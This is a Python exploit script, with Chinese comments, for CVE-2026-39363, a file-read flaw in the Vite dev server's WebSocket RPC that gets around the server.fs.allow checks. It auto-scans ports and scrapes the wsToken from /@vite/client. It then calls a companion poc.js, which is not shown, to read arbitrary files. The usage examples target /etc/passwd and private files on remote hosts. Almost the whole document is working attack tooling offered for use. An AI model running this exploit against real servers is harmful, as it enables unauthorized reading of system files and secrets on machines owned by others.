README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-39363 Exploit
Vite Dev Server WebSocket Arbitrary File Read Vulnerability
漏洞原理:
- Vite Dev Server 的 WebSocket fetchModule RPC 调用绕过了 HTTP 层安全检查
- 虽然在 loadAndTransform 中有 isFileLoadingAllowed 检查
- 但如果 server.fs.allow 配置宽松,仍可读取项目外文件
- 攻击者可通过 WebSocket RPC 绕过 HTTP 的 server.fs.allow 检查点
利用条件:
- 配置 server.fs.allow: ['..'] 或更宽松配置
- 或配置 server.fs.strict: false
- 可获取 wsToken (通过访问 /@vite/client)
Usage:
python exp.py -t localhost -p 5173 -f "C:/Users/xxx/secret.txt"
python exp.py -t 192.168.1.100 -p 5173 -f "/etc/passwd" --token "your_token"
"""
import argparse
import subprocess
import sys
import os
import re
import json
import urllib.request
import urllib.error
import socket
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
def banner():
print(f"""{Colors.CYAN}
╔══════════════════════════════════════════════════════════════╗
║{Colors.WHITE}{Colors.BOLD} CVE-2026-39363 - Vite WebSocket Arbitrary File Read {Colors.CYAN}║
║{Colors.WHITE} Vite Dev Server Exploit {Colors.CYAN}║
╚══════════════════════════════════════════════════════════════╝
{Colors.RESET}""")
def check_port_open(target: str, port: int, timeout: float = 2.0) -> bool:
"""检查端口是否开放(支持 IPv4 和 IPv6)"""
# 尝试 IPv4
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((target, port))
sock.close()
if result == 0:
return True
except:
pass
# 尝试 IPv6 (localhost 用 ::1)
if target in ['localhost', '127.0.0.1']:
try:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex(('::1', port, 0, 0))
sock.close()
if result == 0:
return True
except:
pass
return False
def find_vite_port(target: str, start_port: int, max_ports: int = 10) -> tuple:
"""查找 Vite 实际运行的端口,返回 (port, use_ipv6)"""
for port in range(start_port, start_port + max_ports):
# 先尝试 IPv4
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex((target, port))
sock.close()
if result == 0:
return (port, False)
except:
pass
# 对于 localhost,尝试 IPv6
if target in ['localhost', '127.0.0.1']:
try:
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
sock.settimeout(2)
result = sock.connect_ex(('::1', port, 0, 0))
sock.close()
if result == 0:
return (port, True)
except:
pass
return (start_port, False)
def get_ws_token(target: str, port: int, use_ipv6: bool = False) -> str:
"""通过 HTTP 请求获取 WebSocket token"""
# 构建正确的 URL(IPv6 需要用方括号)
if use_ipv6:
host = f"[::1]"
else:
host = target
url = f"http://{host}:{port}/@vite/client"
try:
req = urllib.request.Request(url, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
resp = urllib.request.urlopen(req, timeout=10)
content = resp.read().decode('utf-8', errors='ignore')
# 查找 wsToken - 格式: const wsToken = "xxxxx"
match = re.search(r'wsToken\s*=\s*"([^"]+)"', content)
if match:
return match.group(1)
match = re.search(r'__WS_TOKEN__\s*=\s*"([^"]+)"', content)
if match:
return match.group(1)
# 从 URL 参数中提取
match = re.search(r'[?&]token=([^&"\']+)', content)
if match:
return match.group(1)
except urllib.error.URLError as e:
print(f"{Colors.YELLOW}[!]{Colors.RESET} HTTP request failed: {e}")
except Exception as e:
print(f"{Colors.YELLOW}[!]{Colors.RESET} Error fetching token: {e}")
return None
def parse_node_output(output: str) -> list:
"""解析 Node.js POC 输出"""
results = []
# 检查是否有 SUCCESS 标记
if "[+] SUCCESS!" in output:
# 提取文件路径
file_match = re.search(r'File path: ([^\n]+)', output)
if file_match:
results.append({
"file": file_match.group(1).strip(),
"code": "Content retrieved successfully"
})
return results
def exploit(target: str, port: int, file_path: str, token: str = None, auto_find_port: bool = True) -> list:
"""执行漏洞利用"""
use_ipv6 = False
# 自动查找 Vite 实际运行的端口
if auto_find_port:
print(f"{Colors.BLUE}[>]{Colors.RESET} Scanning for Vite server starting from port {port}...")
actual_port, use_ipv6 = find_vite_port(target, port)
if actual_port != port:
print(f"{Colors.YELLOW}[!]{Colors.RESET} Vite server found on port {actual_port} (not {port})")
else:
print(f"{Colors.GREEN}[+]{Colors.RESET} Vite server found on port {port}")
port = actual_port
# 检查端口是否开放
if not check_port_open(target, port) and not use_ipv6:
print(f"{Colors.RED}[-]{Colors.RESET} Cannot connect to {target}:{port}")
print(f"{Colors.YELLOW}[!]{Colors.RESET} Make sure Vite Dev Server is running")
return []
# 获取 token
if not token:
print(f"{Colors.BLUE}[>]{Colors.RESET} Fetching WebSocket token from /@vite/client...")
token = get_ws_token(target, port, use_ipv6)
if not token:
print(f"{Colors.YELLOW}[!]{Colors.RESET} Could not fetch token")
print(f"{Colors.YELLOW}[!]{Colors.RESET} The server may have skipWebSocketTokenCheck enabled, or connection failed")
return []
print(f"{Colors.GREEN}[+]{Colors.RESET} Token: {token}")
print(f"{Colors.YELLOW}[*]{Colors.RESET} Target file: {file_path}")
if use_ipv6:
print(f"{Colors.CYAN}[*]{Colors.RESET} Using IPv6 connection")
print()
# 查找 poc.js
script_dir = os.path.dirname(os.path.abspath(__file__))
poc_path = os.path.join(script_dir, "poc.js")
if not os.path.exists(poc_path):
print(f"{Colors.RED}[-]{Colors.RESET} poc.js not found: {poc_path}")
return []
# 如果使用 IPv6,修改 target 为 ::1
ws_target = "::1" if use_ipv6 else target
cmd = ["node", poc_path, ws_target, str(port), file_path, token]
print(f"{Colors.BLUE}[>]{Colors.RESET} Running exploit...")
print(f"{Colors.CYAN} WebSocket: ws://{ws_target}:{port}?token={token}")
print(f"{Colors.CYAN} Protocol: vite-hmr")
print()
try:
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=30,
cwd=script_dir
)
output = result.stdout
stderr = result.stderr
if stderr and "Error" in stderr:
print(f"{Colors.RED}[!] Node.js error: {stderr[:300]}{Colors.RESET}")
# 打印输出
print_output_with_colors(output)
results = parse_node_output(output)
return results
except subprocess.TimeoutExpired:
print(f"{Colors.RED}[-]{Colors.RESET} Timeout - server may not be responding")
return []
except FileNotFoundError:
print(f"{Colors.RED}[-]{Colors.RESET} Node.js not found. Please install Node.js.")
return []
except Exception as e:
print(f"{Colors.RED}[-]{Colors.RESET} Error: {e}")
return []
def print_output_with_colors(output: str) -> None:
"""打印带颜色的输出"""
for line in output.split('\n'):
if '[+] SUCCESS!' in line:
print(f"{Colors.GREEN}{line}{Colors.RESET}")
elif '[+] File content:' in line or line.startswith('=') or line.startswith('-'):
print(f"{Colors.CYAN}{line}{Colors.RESET}")
elif '[-] Error:' in line:
print(f"{Colors.RED}{line}{Colors.RESET}")
elif '[*]' in line:
print(f"{Colors.YELLOW}{line}{Colors.RESET}")
elif '[!]' in line:
print(f"{Colors.BOLD}{Colors.YELLOW}{line}{Colors.RESET}")
elif '[+] Server confirmed' in line or '[+] Connection established' in line:
print(f"{Colors.GREEN}{line}{Colors.RESET}")
elif line.strip():
print(line)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-39363 - Vite WebSocket Arbitrary File Read",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exp.py -t localhost -p 5173 -f "C:/Users/xxx/secret.txt"
python exp.py -t 192.168.1.100 -p 5173 -f "/etc/passwd" --token "abc123"
python exp.py -t localhost -p 5173 -f "src/main.js" --no-auto-port
Note:
- Vite automatically tries next port if default is occupied
- This script will auto-detect the actual port Vite is running on
- File access is limited by server.fs.allow configuration
"""
)
parser.add_argument("-t", "--target", default="localhost", help="Target host (default: localhost)")
parser.add_argument("-p", "--port", type=int, default=5173, help="Starting port to check (default: 5173)")
parser.add_argument("-f", "--file", required=True, help="File path to read")
parser.add_argument("--token", default=None, help="WebSocket token (auto-fetched if not provided)")
parser.add_argument("--no-auto-port", action="store_true", help="Disable automatic port detection")
args = parser.parse_args()
banner()
results = exploit(
target=args.target,
port=args.port,
file_path=args.file,
token=args.token,
auto_find_port=not args.no_auto_port
)
print()
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
print(f"{Colors.BOLD}Summary{Colors.RESET}")
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
if results:
print(f"{Colors.GREEN}[+] Files retrieved: {len(results)}{Colors.RESET}")
for r in results:
print(f" - {r['file']}")
print(f"{Colors.GREEN}[+] Exploit successful!{Colors.RESET}")
sys.exit(0)
else:
print(f"{Colors.RED}[-] No files retrieved{Colors.RESET}")
print()
print(f"{Colors.YELLOW}Possible reasons:{Colors.RESET}")
print(f" 1. File is outside server.fs.allow directories")
print(f" 2. File does not exist")
print(f" 3. WebSocket connection failed (wrong token)")
print(f" 4. Vite Dev Server not running")
print()
print(f"{Colors.CYAN}Tip: Check vite.config.js server.fs.allow settings{Colors.RESET}")
sys.exit(1)
if __name__ == "__main__":
main()